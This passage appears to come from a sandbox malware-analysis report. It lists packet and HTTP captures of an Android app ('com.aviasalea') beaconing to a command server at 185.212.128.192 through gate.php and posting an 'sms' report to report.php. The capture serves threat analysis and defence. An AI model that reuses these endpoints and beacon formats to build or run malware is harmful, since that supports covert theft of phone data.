                                      Jun 25, 2019 16:42:26.635238886 MESZ562325228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:42:26.661201954 MESZ52285623274.125.140.188192.168.1.92
                                      Jun 25, 2019 16:42:26.661361933 MESZ562325228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:42:28.561454058 MESZ3904880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:42:28.589953899 MESZ8039048185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:03.267483950 MESZ3905480192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:03.296602011 MESZ8039054185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:03.296808004 MESZ3905480192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:03.298466921 MESZ3905480192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:03.328600883 MESZ8039054185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:03.328999996 MESZ8039054185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:03.329143047 MESZ3905480192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:08.240240097 MESZ8039054185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:08.280935049 MESZ3905480192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:15.039385080 MESZ3905680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:15.067660093 MESZ8039056185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:15.067877054 MESZ3905680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:15.077721119 MESZ3905680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:15.106380939 MESZ8039056185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:15.106429100 MESZ8039056185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:15.106883049 MESZ3905680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:15.157474041 MESZ3905880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:15.186016083 MESZ8039058185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:15.186109066 MESZ3905880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:15.202086926 MESZ3905880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:15.230297089 MESZ8039058185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:15.230434895 MESZ8039058185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:15.230555058 MESZ3905880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:17.359391928 MESZ3905480192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:17.360234022 MESZ3905680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:17.388082981 MESZ8039054185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:17.388838053 MESZ8039056185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:17.388974905 MESZ3905680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:20.141079903 MESZ8039058185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:20.181493044 MESZ3905880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:44.679912090 MESZ3905880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:44.708352089 MESZ8039058185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:46.609824896 MESZ3906080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:46.638356924 MESZ8039060185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:46.638473034 MESZ3906080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:46.639920950 MESZ3906080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:46.668205023 MESZ8039060185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:46.668312073 MESZ8039060185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:46.668355942 MESZ3906080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:51.575401068 MESZ8039060185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:51.616014004 MESZ3906080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:53.379053116 MESZ3906280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:53.407923937 MESZ8039062185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:53.408092976 MESZ3906280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:53.419224977 MESZ3906280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:53.447576046 MESZ8039062185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:53.448434114 MESZ8039062185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:53.448491096 MESZ3906280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:53.631593943 MESZ3906080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:43:53.660554886 MESZ8039060185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:58.356333017 MESZ8039062185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:43:58.398109913 MESZ3906280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:08.033314943 MESZ3906280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:08.061625957 MESZ8039062185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:44:15.993613958 MESZ3906680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:16.025270939 MESZ8039066185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:44:16.025669098 MESZ3906680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:16.030774117 MESZ3906680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:16.059173107 MESZ8039066185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:44:16.059480906 MESZ8039066185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:44:16.059611082 MESZ3906680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:20.641428947 MESZ3904080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:20.647456884 MESZ3906680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:20.676721096 MESZ8039066185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:44:20.685305119 MESZ3906680192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:20.897483110 MESZ3904080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:21.128974915 MESZ3904080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:44:21.590581894 MESZ3904080192.168.1.92185.212.128.192

                                      UDP Packets

                                      TimestampSource PortDest PortSource IPDest IP
                                      Jun 25, 2019 16:40:43.732539892 MESZ1434653192.168.1.928.8.8.8
                                      Jun 25, 2019 16:40:43.747814894 MESZ53143468.8.8.8192.168.1.92
                                      Jun 25, 2019 16:40:43.979739904 MESZ2859353192.168.1.928.8.8.8
                                      Jun 25, 2019 16:40:44.008217096 MESZ53285938.8.8.8192.168.1.92
                                      Jun 25, 2019 16:40:54.810208082 MESZ2426953192.168.1.928.8.8.8
                                      Jun 25, 2019 16:40:54.840327024 MESZ53242698.8.8.8192.168.1.92
                                      Jun 25, 2019 16:44:08.796638966 MESZ4647053192.168.1.928.8.8.8
                                      Jun 25, 2019 16:44:08.809870958 MESZ53464708.8.8.8192.168.1.92

                                      HTTP Request Dependency Graph

                                      • 185.212.128.192

                                      HTTP Packets

                                      Session IDSource IPSource PortDestination IPDestination Port
                                      0192.168.1.9239040185.212.128.19280
                                      TimestampkBytes transferredDirectionData
                                      Jun 25, 2019 16:40:50.702888966 MESZ20OUTGET /1324273/bee/avia/index1.php?ID=450785365059857103 HTTP/1.1
                                      Host: 185.212.128.192
                                      Connection: keep-alive
                                      Upgrade-Insecure-Requests: 1
                                      User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; VirtualBox Build/N2G48H; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Mobile Safari/537.36
                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                      Accept-Encoding: gzip, deflate
                                      Accept-Language: en-US
                                      X-Requested-With: com.aviasalea
                                      Jun 25, 2019 16:40:50.731200933 MESZ21INHTTP/1.1 404 Not Found
                                      Date: Tue, 25 Jun 2019 14:41:13 GMT
                                      Server: Apache/2.4.10 (Debian)
                                      Content-Length: 306
                                      Keep-Alive: timeout=5, max=100
                                      Connection: Keep-Alive
                                      Content-Type: text/html; charset=iso-8859-1
                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 31 33 32 34 32 37 33 2f 62 65 65 2f 61 76 69 61 2f 69 6e 64 65 78 31 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32 38 2e 31 39 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /1324273/bee/avia/index1.php was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 185.212.128.192 Port 80</address></body></html>
                                      Jun 25, 2019 16:40:51.336713076 MESZ21OUTGET /favicon.ico HTTP/1.1
                                      Host: 185.212.128.192
                                      Connection: keep-alive
                                      User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; VirtualBox Build/N2G48H; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Mobile Safari/537.36
                                      Accept: */*
                                      Referer: http://185.212.128.192/1324273/bee/avia/index1.php?ID=450785365059857103
                                      Accept-Encoding: gzip, deflate
                                      Accept-Language: en-US
                                      X-Requested-With: com.aviasalea
                                      Jun 25, 2019 16:40:51.365338087 MESZ22INHTTP/1.1 404 Not Found
                                      Date: Tue, 25 Jun 2019 14:41:14 GMT
                                      Server: Apache/2.4.10 (Debian)
                                      Content-Length: 290
                                      Keep-Alive: timeout=5, max=99
                                      Connection: Keep-Alive
                                      Content-Type: text/html; charset=iso-8859-1
                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32 38 2e 31 39 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /favicon.ico was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 185.212.128.192 Port 80</address></body></html>


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      1192.168.1.9239042185.212.128.19280
                                      TimestampkBytes transferredDirectionData
                                      Jun 25, 2019 16:40:53.772595882 MESZ22OUTGET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1
                                      Accept-Charset: UTF-8
                                      Content-Type: application/x-www-form-urlencoded
                                      User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                      Host: 185.212.128.192
                                      Connection: Keep-Alive
                                      Accept-Encoding: gzip
                                      Jun 25, 2019 16:40:53.801636934 MESZ23INHTTP/1.1 404 Not Found
                                      Date: Tue, 25 Jun 2019 14:41:16 GMT
                                      Server: Apache/2.4.10 (Debian)
                                      Content-Length: 295
                                      Keep-Alive: timeout=5, max=100
                                      Connection: Keep-Alive
                                      Content-Type: text/html; charset=iso-8859-1
                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 31 33 32 34 32 37 33 2f 67 61 74 65 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32 38 2e 31 39 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /1324273/gate.php was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 185.212.128.192 Port 80</address></body></html>


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      2192.168.1.9239048185.212.128.19280
                                      TimestampkBytes transferredDirectionData
                                      Jun 25, 2019 16:41:47.997442007 MESZ34OUTGET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1
                                      Accept-Charset: UTF-8
                                      Content-Type: application/x-www-form-urlencoded
                                      User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                      Host: 185.212.128.192
                                      Connection: Keep-Alive
                                      Accept-Encoding: gzip
                                      Jun 25, 2019 16:41:48.028534889 MESZ35INHTTP/1.1 404 Not Found
                                      Date: Tue, 25 Jun 2019 14:42:10 GMT
                                      Server: Apache/2.4.10 (Debian)
                                      Content-Length: 295
                                      Keep-Alive: timeout=5, max=100
                                      Connection: Keep-Alive
                                      Content-Type: text/html; charset=iso-8859-1
                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 31 33 32 34 32 37 33 2f 67 61 74 65 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32 38 2e 31 39 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /1324273/gate.php was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 185.212.128.192 Port 80</address></body></html>


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      3192.168.1.9239054185.212.128.19280
                                      TimestampkBytes transferredDirectionData
                                      Jun 25, 2019 16:43:03.298466921 MESZ46OUTGET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1
                                      Accept-Charset: UTF-8
                                      Content-Type: application/x-www-form-urlencoded
                                      User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                      Host: 185.212.128.192
                                      Connection: Keep-Alive
                                      Accept-Encoding: gzip
                                      Jun 25, 2019 16:43:03.328999996 MESZ47INHTTP/1.1 404 Not Found
                                      Date: Tue, 25 Jun 2019 14:43:26 GMT
                                      Server: Apache/2.4.10 (Debian)
                                      Content-Length: 295
                                      Keep-Alive: timeout=5, max=100
                                      Connection: Keep-Alive
                                      Content-Type: text/html; charset=iso-8859-1
                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 31 33 32 34 32 37 33 2f 67 61 74 65 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32 38 2e 31 39 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /1324273/gate.php was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 185.212.128.192 Port 80</address></body></html>


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      4192.168.1.9239056185.212.128.19280
                                      TimestampkBytes transferredDirectionData
                                      Jun 25, 2019 16:43:15.077721119 MESZ48OUTPOST /1324273/report.php HTTP/1.1
                                      Accept-Charset: UTF-8
                                      Content-Type: application/x-www-form-urlencoded
                                      Content-Length: 70
                                      User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                      Host: 185.212.128.192
                                      Connection: Keep-Alive
                                      Accept-Encoding: gzip
                                      Data Raw: 31 3d 25 37 42 25 32 32 72 65 70 6f 72 74 25 32 32 25 33 41 25 32 32 73 6d 73 25 32 32 25 32 43 25 32 32 69 64 25 32 32 25 33 41 25 32 32 34 35 30 37 38 35 33 36 35 30 35 39 38 35 37 31 30 33 25 32 32 25 37 44
                                      Data Ascii: 1=%7B%22report%22%3A%22sms%22%2C%22id%22%3A%22450785365059857103%22%7D
                                      Jun 25, 2019 16:43:15.106429100 MESZ48INHTTP/1.1 404 Not Found
                                      Date: Tue, 25 Jun 2019 14:43:37 GMT
                                      Server: Apache/2.4.10 (Debian)
                                      Content-Length: 297
                                      Keep-Alive: timeout=5, max=100
                                      Connection: Keep-Alive
                                      Content-Type: text/html; charset=iso-8859-1
                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 31 33 32 34 32 37 33 2f 72 65 70 6f 72 74 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32 38 2e 31 39 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /1324273/report.php was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 185.212.128.192 Port 80</address></body></html>


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      5192.168.1.9239058185.212.128.19280
                                      TimestampkBytes transferredDirectionData
                                      Jun 25, 2019 16:43:15.202086926 MESZ49OUTGET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1
                                      Accept-Charset: UTF-8
                                      Content-Type: application/x-www-form-urlencoded
                                      User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                      Host: 185.212.128.192
                                      Connection: Keep-Alive
                                      Accept-Encoding: gzip
                                      Jun 25, 2019 16:43:15.230434895 MESZ49INHTTP/1.1 404 Not Found
                                      Date: Tue, 25 Jun 2019 14:43:37 GMT
                                      Server: Apache/2.4.10 (Debian)
                                      Content-Length: 295
                                      Keep-Alive: timeout=5, max=100
                                      Connection: Keep-Alive
                                      Content-Type: text/html; charset=iso-8859-1
                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 31 33 32 34 32 37 33 2f 67 61 74 65 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32 38 2e 31 39 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /1324273/gate.php was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 185.212.128.192 Port 80</address></body></html>


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      6192.168.1.9239060185.212.128.19280
                                      TimestampkBytes transferredDirectionData
                                      Jun 25, 2019 16:43:46.639920950 MESZ51OUTGET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1
                                      Accept-Charset: UTF-8
                                      Content-Type: application/x-www-form-urlencoded
                                      User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                      Host: 185.212.128.192
                                      Connection: Keep-Alive
                                      Accept-Encoding: gzip
                                      Jun 25, 2019 16:43:46.668312073 MESZ51INHTTP/1.1 404 Not Found
                                      Date: Tue, 25 Jun 2019 14:44:09 GMT
                                      Server: Apache/2.4.10 (Debian)
                                      Content-Length: 295
                                      Keep-Alive: timeout=5, max=100
                                      Connection: Keep-Alive
                                      Content-Type: text/html; charset=iso-8859-1
                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 31 33 32 34 32 37 33 2f 67 61 74 65 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 32 2e 31 32 38 2e 31 39 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /1324273/gate.php was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 185.212.128.192 Port 80</address></body></html>


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      7192.168.1.9239062185.212.128.19280
                                      TimestampkBytes transferredDirectionData
                                      Jun 25, 2019 16:43:53.419224977 MESZ52OUTGET /1324273/gate.php?ID=450785365059857103&screen=on HTTP/1.1
                                      Accept-Charset: UTF-8
                                      Content-Type: application/x-www-form-urlencoded
                                      User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)
                                      Host: 185.212.128.192
                                      Connection: Keep-Alive
                                      Accept-Encoding: gzip
                                      Jun 25, 2019 16:43:53.448434114 MESZ53INHTTP/1.1 404 Not Found
                                      Date: Tue, 25 Jun 2019 14:44:16 GMT
                                      Server: Apache/2.4.10 (Debian)
                                      Content-Length: 295
                                      Keep-Alive: timeout=5, max=100
                                      Connection: Keep-Alive
                                      Content-Type: text/html; charset=iso-8859-1
